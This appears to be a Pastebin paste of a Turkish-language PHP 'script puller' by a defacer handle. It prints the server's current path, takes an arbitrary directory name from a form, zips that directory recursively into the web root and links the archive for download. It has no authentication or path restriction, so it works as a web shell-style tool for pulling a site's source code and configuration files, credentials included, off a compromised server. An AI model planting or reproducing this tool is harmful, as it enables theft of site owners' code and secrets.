Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- ###################
- ## KingSkrupellos ##
- ###################
- echo '
- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
- <head>
- <meta http-equiv="Content-Type" content="text/html;charset=UTF-8" />
- <title>Cyberizm Script Cekici</title>
- <style type="text/css">
- #Script span{display:block;font: 20px Tahoma }
- #Script input {border:1px solid #ggg; padding:10px;width:250px}
- #Script button {display:block;border:1px solid #555; padding:10px;width:272px;margin-top:10px;cursor:pointer}
- </style>
- </head>
- <body>
- <center>
- <div id = "Script">
- <form action="" method="post">
- <h1>Script Cekici</h1>
- <span>Çekmek İstediğiniz Dizin: </span>
- <input type="text" name="dizin" />
- <span>İsim :</span>
- <input type="text" name="isim" /> .zip
- <button type= "submit">Çek Bakalım</button>
- <span>Not: Şuanda Bulundugun Dizin </span>
- </div></center>
- </body>
- </html>
- ';
- ?>
- <center>
- <?php
- echo realpath(".");
- ?>
- </center>
- <?php
- $cek = $_POST["dizin"];
- $isim = $_POST["isim"];
- function Zip($source, $destination)
- {
- if (extension_loaded('zip') === true)
- {
- if (file_exists($source) === true)
- {
- $zip = new ZipArchive();
- if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
- {
- $source = realpath($source);
- if (is_dir($source) === true)
- {
- $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
- foreach ($files as $file)
- {
- $file = realpath($file);
- if (is_dir($file) === true)
- {
- $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
- }
- else if (is_file($file) === true)
- {
- $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
- }
- }
- }
- else if (is_file($source) === true)
- {
- $zip->addFromString(basename($source), file_get_contents($source));
- }
- }
- return $zip->close();
- }
- }
- return false;
- }
- // Kullanımı Zip({{Dizin Adı}}, {{Oluşturulacak Arşiv Dosyası}});
- Zip($cek , $isim.'.zip');
- if($isim){
- echo "<center>Cektin kerata aferin</center> ";
- echo "<center><a href='".$isim.".zip'>".$isim.".zip</a></center>";
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement